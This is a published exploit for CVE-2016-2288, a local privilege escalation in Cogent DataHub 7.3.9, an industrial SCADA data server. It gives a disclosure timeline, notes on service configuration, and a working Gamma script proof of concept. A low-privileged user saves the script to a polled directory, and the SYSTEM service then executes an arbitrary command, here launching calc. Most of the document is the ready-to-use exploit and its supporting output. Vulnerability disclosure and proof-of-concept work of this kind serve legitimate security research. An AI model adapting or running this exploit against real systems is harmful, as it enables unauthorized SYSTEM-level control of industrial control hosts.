Cogent Datahub 7.3.9 Privilege Escalation

`/*  
  
# Exploit Title: Cogent Datahub <= 7.3.9 Gamma Script Elevation of Privilege Vulnerability  
# Google Dork: lol  
# Date: 28/3/2016  
# Exploit Author: mr_me  
# Vendor Homepage: http://www.cogentdatahub.com/  
# Software Link: http://www.cogentdatahub.com/Contact_Form.html  
# Version: <= 7.3.9  
# Tested on: Windows 7 x86  
# CVE : CVE‑2016-2288  
  
sha1sum: c1806faf0225d0c7f96848cb9799b15f8b249792 CogentDataHub-7.3.9-150902-Windows.exe  
Advsiory: https://ics-cert.us-cert.gov/advisories/ICSA-16-084-01  
  
Timeline:  
=========  
- 02/12/2015 : vuln found, case opened to the zdi  
- 09/02/2016 : case rejected (not interested in this vuln due to vector)  
- 26/02/2016 : reported to ICS-CERT  
- 24/03/2016 : advisory released  
  
Notes:  
======  
- to reach SYSTEM, the service needs to be installed via the Service Manager  
- the service doesnt need to be installed, as long as 'C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe' has been executed by a privileged user  
- an attacker does NOT need to restart the machine or the service in order to EP, the service just polls for the Gamma Script  
  
Exploitation:  
=============  
  
As a Guest user (or low privileged user) save this file as 'WebstreamSupport.g' into C:\usr\cogent\require\ and enjoy the free SYSTEM calcs. Most OS's dont allow  
a write into c:\ as guest, but we are in the SCADA world. Anything is possible.  
  
C:\Users\steven>sc qc "Cogent DataHub"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: Cogent DataHub  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe" -H "C:\Users\steven\AppData\Roaming\Cogent DataHub"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Cogent DataHub  
DEPENDENCIES : RPCSS  
SERVICE_START_NAME : LocalSystem  
  
C:\Users\steven>  
*/  
  
require ("Application");  
require ("AsyncRun"); // thanks to our friends @ Cogent  
  
class WebstreamSupport Application  
{  
  
}  
  
method WebstreamSupport.constructor ()  
{  
RunCommandAsync(nil, nil, "cmd.exe /c calc", "c:\\");  
}  
  
Webstream = ApplicationSingleton (WebstreamSupport);  
  
  
`